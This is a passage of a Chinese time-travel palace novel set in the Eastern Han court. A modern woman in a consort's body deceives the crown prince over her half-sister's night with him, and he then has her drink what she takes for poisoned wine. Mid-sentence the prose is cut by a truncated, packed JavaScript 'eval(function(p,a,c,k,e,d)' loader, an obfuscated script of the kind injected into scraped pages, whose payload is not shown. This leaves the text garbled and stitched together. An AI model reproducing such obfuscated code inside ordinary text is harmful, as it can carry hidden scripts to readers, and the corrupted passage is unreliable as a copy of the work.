他手持宫灯,不再多言,恭敬躬身道:“良娣慢行,小奴送您。” 行至门前,辎车正在不远处等候,我示意洪甫留步,十分欣慰地赞赏他:“洪黄门办事得力,待今夜顺利过去,汝二人当受赏。” “能为良娣做事,得到庇护,小奴甘愿。”他诚恳道:“只是情势发展出乎意料,您铤而走险,若因此失宠,实在得不偿失。” 我不由苦笑着叹息道:“我身体尚抱恙,只求生活平淡,切勿生出什么意料之外的事情。可天不遂愿,若贾孺子这件事不妥善解决,始终是沉疴,洪黄门心如明镜,想来理解我的心情。殿下仁厚爱人,沈毅明敏,作为妃嫔,我十分珍惜这份宠爱。” 洪甫答:“良娣务必保重身体,只要母子康健,何愁没有来日。” “多谢,夜已深,回去当值吧。” 他将我送出西殿,待辎车向东行进,那缕宫灯的光芒也隐匿在了闭合的宫门之后。已过宵禁,夜深寒凉,我无言回到殿内,却睡意全无,所幸耗费半个时辰沐浴,打发时间。 对于贾禾苗能否侍奉好太子这件事,我有些犹疑,不过既然目的不是享乐,只要顺利走好过场便是。今日之事非常顺利,我本该感到如释重负,可一想到自己欺骗太子、想起他正躺在贾禾阳同父异母的姐姐榻上,复杂的感情便再次扰乱了我的情绪。 回到东殿沐浴卸妆时,我脑海中忽然浮现出阴皇后的模样——她是那样一个端方的美人,陛下则阔面方鼻,颇有英主之像。很明显,刘庄更像母亲,虽未如同二十世纪的青年人那般长成一米九的个头,起码比贾禾阳高出不少,眉目清俊,举止得体,罕见喜愠之色。 我散开潮湿的头发,靠在软枕之上,指尖抚摸着太子的玉枕出神,一直忍不住思索——贾禾阳的孩子是否也会更像她?倘若是个男孩,禾阳会在人生的中晚年时跟随儿子离开雒阳,一起去封地度过余生吗?假如是个女儿,她大概会与功臣世族联姻,留在这里,留在母亲身边。 事实上,既做出用这种方式推促贾禾苗承宠的决定,我已做好了失宠的最坏打算。太子虽躬修玄默,却兼些察察之明,对自己与身边人的要求一并很高,当发觉我辜负了他的信任,恐不会轻易放过这件事。 还好我已经成功为贾禾阳怀上了指望,不论此胚胎的性别,更不论它的未来,只要它平安降生就好。如果有朝一日,贾禾阳再次短暂地占据这副身体,知道我是因势所迫,为了救她姐姐性命,大抵也不忍苛责于我。 被炭盆加热的温暖空气弥漫、包围着帷幄,在微不可闻的炭火崩裂声中,我沉沉地睡了个久违的好觉。 纵然天大的事,也待明朝再议吧。 11. 第十一章 在东汉雒阳平静而温暖的冬夜里,我断续地做了个梦。 梦里场景不再是医院病房里复健的自己,那股若有若无的消毒水味道也消失不见,我竟然看到证券交易所大厅里那颗五六米高的圣诞树,听见大屏前、柜台后繁忙的座机响铃。我的舌尖弥漫着纸杯装冰淇淋的味道,那是所里常年为员工提供的福利,一贯的冰凉、香醇。 我能感受到,真正的贾禾阳正在操纵我的身体,可至于她那边发生了什么,短暂的梦境却并不能使我清晰得知。我难免好奇,她过得还好不好。 历史已是过去,二十世纪却是她眼中的未来,希望有我的记忆辅助,能帮助她尽快适应这个光怪陆离的世界。可事实上,我逐渐开始搞不清楚自己的心情了——我属于现代世界,想念那里便捷的交通和美味的食物,可成为贾禾阳的日子并不如同我想象中的无趣,我不挂念二十世纪的家人,也不推崇大城市紧促的工作方式,回到两千多年前的原始社会,竟然令我得到了充分的休息。 早晨翻身舒展身体时,腹部的重量使我清醒过来,昨晚的事情跳入我的脑海,令我睡意全无。 而我刚从榻上坐起,贴身的女官便上前绑起帷幄,低声通报道:“良娣,洪黄门在殿外等候许久了。” “快宣。” 来不及梳妆更衣,我随手抓起襜褕套在身上,在榻边洗漱后便出去见他。洪甫进入内室,见四下无人,拱手揖礼向我透露:“良娣,事态安好,只是殿下晨起不曾宣人入内侍奉,也没用膳,早早便进宫去了。” “没侍奉?”我诧异道:“那是贾孺子给殿下更的衣吗?” 洪甫扶了扶脑袋上的漆纱笼冠,也面露疑惑:“您知道,小奴常与同乡郑众往来,他在丽正殿伺候的频繁,平日冕服难穿,殿下从不亲自动手,您服侍得最多,也很清楚。可小奴今晨虽见曹常侍把冠、袍一套送进去,却没见他们在屋里留侍,委实反常。” 我招手命他坐下喝盏茶,随后问:“屋里没留人?又或许是贾孺子侍奉的?你问过她没有?” “贾孺子不会穿太子冕服,就算会,也不会动作如此迅速。依小奴拙见......或许是殿下自行穿戴的。”他遂答:“孺子自殿下离开后便卧床不起,问了却不答话,不知昨晚是否顺利得到了殿下的宠幸。” 考虑到贾禾苗见了太子就畏缩的性格,我反问:“会不会是太子晨起时冲她发火了?” “小奴一直守在外头,没听见殿下发怒,不过夜里侍寝时,竟也没听见任何动静。” 我尴尬地皱起眉头,与洪甫陷入了一阵诡异的沉默。西殿总共就那么大点地方,比如今扩建了的东殿还要小些,往日太子留在我这里过夜,二人深夜惹出的动静不说扰到隔壁的马良娣,至少殿外院外当值的常侍黄门、女官詹事都听得清楚。与之对比,我估摸贾禾苗昨夜还是失手了。 “黄门辛苦,我亲去西殿一趟吧。” 太子今夜横竖是不会到我这儿来了,我心中记挂贾禾苗的事,梳了个垂髻便步行跑去西殿寻人。她果然和洪甫所言一样窝在屋里躺着,既不梳妆也不进食,我信步走到帷幄旁将布料绑起一半,借着日光看到贾禾苗颓废的模样,开口问道:“如何?事情都顺利吗?” “......” 贾禾苗侧脸望向我,踟蹰地咬唇垂眸,忽然又不知想到什么,目光躲闪道:“顺利......顺利的。” “真的?”我不由分说将她从榻上拽起:“殿下临幸你了?” 她又仿佛听见什么不堪入耳的话语般紧闭双目,侧过脸去,决绝地点了点头。 “那何必颓丧呢?你我废了这么大气力,不就为了达到这个目的?”我如释重负地昂首叹气:“洪甫晨起就来东殿候着,我闻过他的通报后可谓心悬,赶紧来寻你!” 我走到衣橱前为她选了身颜色鲜艳的短襦配直裾,难掩欣喜地打趣道:“如此一来,尽可放心了。今日阳光好,我陪你去宜春苑转转。” 贾禾苗步履缓慢地走到妆台前净齿梳妆,并不回应我的话。见状如此,我搬来凭几坐在窗下的织机旁,好奇追问:“殿下对你发脾气了?还是......昨夜不顺利?据说今早是你侍奉他洗漱更衣,都还做得来吗?” “殿下没说什么。”她终于肯大发慈悲回应我的话:“也没让我服侍,便进宫去了。” “玄衣纁裳并不好穿,他能自己动手最好。既没说什么,你又何必垂头丧气呢?” 由于抿唇太久,贾禾苗的面容看上去毫无血色,她纠结地抱着脑袋痛苦道:“禾阳,别问了,此事本就是我自惹出的麻烦,为替我解围,竟也害你得罪了殿下。你只要清楚,殿下昨夜的确宠幸了我,这就好了,放宽心吧。” 这话里藏了些耐人寻味的东西,我不自觉抱臂轻笑:“难道是尝过贺舍人带来的快乐,殿下相较之逊色些,不能令你愉悦?” 贾禾苗连梳子也不要了,往桌上一撇便训我:“又在信口乱言!” “怎是信口?我虽不了解贺延年,但对殿下了如指掌。马良娣那儿不许说,我们姐妹二人闭门聊聊闺中异趣也有错?” “禾阳......”她打断道:“殿下很宠爱你,昨夜尚有酒意时还念着你的名字。原在府邸时,我认为贾氏一族的荣耀将会是祖父和叔父们带来的,可进入永安宫,接触到殿下,才恍然发觉你说的对。倘若陛下辞世,贾氏的命运便掌握在太子手里,而他宠爱你,爱惜你的孩子,这才是贾家最可靠的倚仗。” 我答:“那你现在也有倚仗了,保重身体,说不准殿下还会时常来西殿陪你。” 她苦笑道:“花开并蒂,赏者往往只撷偏爱的一朵;同父姐妹,殿下也只会爱怜更漂亮聪敏的那个。你将他侍奉得那样好,我无法匹及。禾阳,你不必担心因此失去宠爱,他还会召幸你,却不会再来西殿了。” “只是被殿下碰了一回,不至于多愁善感成这样吧。”我狐疑地靠近去摸她额头,并没把这话听进心里,善意地扯开话题:“长姐大方,今夜肯留饭留宿否?” “留宿?你不怕殿下召你去丽正殿?” “有昨夜事,你认为他还会召幸我?”我轻道:“换衣裳吧,去宜春苑的柳树都抽芽了,我们给马良娣请安过后,顺便走走。” 永安宫的绿化面积要比现代人所复原的还要庞大,椅桐、松柏与守宫槐,包括小片竹林和桑、柘木在内,不同季节依然各有风色,庭院内总是郁郁葱葱。怀上孩子之前,我见马良娣的院内有棵长势颇好的椅桐,夏日遮阳降温极有成效,便对太子开口,求他也为我的东殿移栽一棵。 一棵椅桐或许不算什么,但那是我第一次开口向自己经营已久的权势寻求特殊待遇。在提出需求后,太子不仅命家令为我移来椅桐,还额外栽种了满院的山姜和桂花。 两汉栽种山姜的方式并不成熟,前汉孝武皇帝曾在扶荔宫引种,但该品类至今也没有被汉代宫廷广泛种植,只偶尔选几株成活的苗用作观赏。我喜爱桂花的香气,因此对东殿的改造十分兴奋—— 直到看到园中来往搬运的工匠。 砖地要先撬开,才能看到深层的土壤。一些陈土里夹杂着大量碎石,不适宜植物的根茎生长,于是需要挖出一个足以容纳椅桐根部的坑,清理地底,掺入养料,重新填土栽种进去,并紧围树周搭筑石台,防止其倒下。 工匠精瘦辛劳的身影常出没庭院内外,往来宜春苑与东殿之间,我方明白随口的一句话为他们带来了多大麻烦。马良娣院里的梧桐是自幼苗起便长在那儿的,日复一日经历冬夏,最终养成如今繁茂如盖的模样,而我的桐树被太子的宠爱催生,离开树群,被人力强行移植到了我身边。 成年的粗壮树木是那么沉,那么巨大,他们的汗水、辛劳和战战兢兢令我惶恐,令我想起祖父母在自留地里佝偻干活的身影。这份不安开始提醒我,不要忘记自己是钟维,是农民的孩子,而不是胶东侯贾复的孙女、东汉帝国的贾良娣。 自那之后,我再不敢轻易向刘庄要求什么了。当树木和花朵成功栽进东殿,我把刘庄赏赐的一盘金饼交给太子中庶子,请他替我换成粮米布缎,重谢那些工匠,带回家去,得以过冬。 此刻,与贾禾苗站在宜春苑的大片椅桐树下,又使我回想起了这件事。 虽不在她面前提起,自己也常为自己宽心,可殿下会因为昨夜的欺骗而厌弃我吗?当初因宠爱得到的成熟山姜、桂花和椅桐,又是否会因为失宠而失去呢? 我与贾禾苗坐在小阁中饮水、食用蜜饵和髓饼,她兴致缺缺,连平时喜欢的椰汁也不喝了,我于是断续吃进半盘以补充体力。天色将晚,太子大概已经回宫,但丽正殿没有任何宣召传来。 整个宫里平静得吓人,这完全不是太子的做派,起码不是他对待我的态度。我虽照常吃喝谈笑,心里却有一把悬而未决的利剑,长久地挂在头顶。 即将入夜,我在贾禾苗殿里照例又吃了一餐茶羹,因为妊娠缘故,每日哪怕坐着不动也会格外消耗,更何况这样的多事之秋。 她仍不愿进食,面色怏怏,天都黑了还在屋里织布。我昏昏欲睡地坐在矮桌前打哈欠,后知后觉自己整日只梳了垂髻,正好闲来无事,便挪来铜镜,在头上轮番试戴贾禾苗奁子里的步摇和鬓钗。 她分神看我,手上投梭的动作乱了些,竟愣愣问道:“禾阳,你说......殿下会怎么处置我呢?” “处置?”我对镜打量着自己:“处理你做什么。” “我的确怀了孩子。” “......我知道。” 她整日都过得莫名其妙,说些哑谜话,做些迷糊事。我把两只鬓钗戴稳,不耐烦地回敬:“既被殿下宠幸,你当然要怀孩子,所怀也是刘氏的孩子。” “你腹中才是刘氏的孩子。”贾禾苗彻底放过了那只提花织机,转身对我道:“你与太子的孩子,贾氏和刘氏的血脉。” 我刚要出口驳她净说些废话梦话,腹部猝然传来钝痛,孩子在肚子里狠狠地给了我一脚,正踢在左腹上。它随后又在我身体里转动了一下,像是翻身,实际大概只是在温热的羊水里转了半圈。 “你别忘了,阴良娣腹中也有孩子,那可是阴氏外戚和刘氏的血脉,不比你我姓贾的更管用?” 贾禾苗急切地摇头:“禾阳,殿下他其实......” “良娣——” 门外的呼唤打断了贾禾苗的坦承,我听到这是曹常侍的声音,赶紧揉着肚子跪直身体应了一声。他与两个女官从门外轻声走进,身影在绸布素屏后显出轮廓:“良娣,殿下正在马良娣殿里用饭,通报东殿侍寝,吾等特来此处宣召,还望没有扰了良娣与孺子叙话。” “侍寝?”我诧异道:“殿下召我?” “辎车已至小南门外,良娣随时可回。” “......” 我满腹狐疑地转头向贾禾苗投去疑惑的眼神,她却紧闭双唇,低头重踩地综踏板,双手投梭打纬,逃避了这场交流。 总归是太子传召,我简单披上衣服便回了东殿,按照流程沐浴更衣,坐在帷幄里等待他前来就寝。刘庄往日时常这样,与马良娣又论国事又聊家事,晚间大多一起用饭,吃完不久便会顺路到东殿来,由我伺候歇下。 算着时辰也差不多了,太子始终没有离开马良娣的寝殿,屋里的宫灯添了三回油,我已因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我闻言一颤,悄悄探看太子的表情,索性松开环抱他的动作,挺着肚子踉跄下榻,跪在阶前重重地磕了三个头,满脸泪水,眼眶通红道:“禾阳死罪,恳请殿下赐妾一死!” 语罢,我又恭敬地躬身磕头,不再抬起。刘庄并未如意料般赦我起身,而是任由我保持跪拜的姿势良久,气急反笑道:“卿真以为不会被我处死?” “鸩酒、自刭或缢死,卿自选吧。” “......” 我只觉浑身的血液一霎涌入脑袋,耳鸣声乍起,心想贾禾阳之所以没有在史书中拥有名字,难道就因为这么自作聪明地成了炮灰?太子不是嗜杀冷血之人,但我和贾禾苗的行为的确触碰了他的权威与颜面,假如被他一气之下处死,并非不会发生。 随即,我不再啜泣了,而是缓缓顶着泪眼抬头望他,难掩受伤地唤着殿下。 他大声唤道:“曹缃何在?” 曹常侍立刻进入帷幄应答:“喏。” “待贾良娣选好,替她了结。” “殿下息怒......息怒!”他紧随并排跪下,脑袋磕的比我还响,不住求饶道:“良娣有错,也是念及贾氏一族和亲眷姐妹的情分,况良娣腹中育有皇孙,胎已成型,此时若赐死,恐陛下震惊,满宫震惊啊!” 刘庄面无表情道:“再有多言,一并赐死!” 我抬手婉拒了曹缃的劝阻和善心,只听帷幄外的女官与詹事也都跪下祈求太子留我一命,常侍奉身边的司马夫人甚至闯到榻边陈情,坦言愿意替我和皇孙受死。我纵使动容,可眼泪已因恐惧而无法流出,只神情恍惚地开口问道:“殿下,禾阳腹中孩子已足五月,能否留妾分娩后再行处置?” 他的目光飞快扫向我的腹部,当我笃定他会答应这个请求时,刘庄却沉声拒绝道:“我的命令乃即刻处死。” “......” 殿内鸦雀无声,我垂眸望向隆起的腹部,终于坦然吸气,跪直腰板,清晰回答:“既如此,妾选鸩酒。” “准。” 在等待毒酒的片刻时辰里,我回首复盘此事,深觉遇见无妄之灾,为救贾禾阳姐姐的性命而满盘皆输。不过面对死亡,我却并没有想象中那么恐惧,反正我本就该在深夜的上海魂归西天,如此阴差阳错地多活一年半载,也算赚了。 只可惜无辜的贾禾阳,竟被我连累至此。 中黄门的脚步声从殿外逐渐靠近,我颓然地垂首不语,双手爱怜地抚摸着腹部。胎儿又开始在肚子里乱动,但我已感受不到钝痛,浑身麻木地接过了帷幄外递来的漆盏。 “都出去。”他驱逐道:“闭上殿门。” “......” 身边的人群散了,我跽坐端正,手里捧着的酒液清亮透明,盏底漆红的卷草云纹清晰可见,有淡淡的醇香酒气扑面。太子居高而坐,此刻的语气也较方才柔和了些,转而问道:“卿知错了吗?” 我轻声回答:“妾虽有错,妾的孩子却无罪。” 刘庄道:“孩子自然无罪。这也是我的孩子。” “禾阳心爱殿下,自觉比任何良娣孺子爱得更切更真。奈何身不由己,背负族人期待,不仅难以自保,还带累了腹中皇嗣。”我将漆盏抬高,重重磕头谢罪:“既如此,妾甘愿领死。” 话音未落,我便昂头将鸩酒一饮而尽,感受其流经喉咙和食道,进入胃部,随后蔓至五脏六腑,先毒死母体,再毒死胎儿。 等候药效发作的过程中,濒死的恐惧再次袭击了我,恐怕贾禾阳的意识也在呐喊求生,我原本保持跪伏的身体开始不断发抖,额上冷汗直冒,胃里一阵翻江倒海,面色苍白地倒在了地上。 直到此刻,榻上的太子方迅速起身,将我打横抱在了怀里。 我再也难装镇定,紧抱着他大哭起来,冷汗沾湿了额前的发丝,恐惧地在他怀里发抖,只觉四肢发软,腹部一痛,便失去了知觉。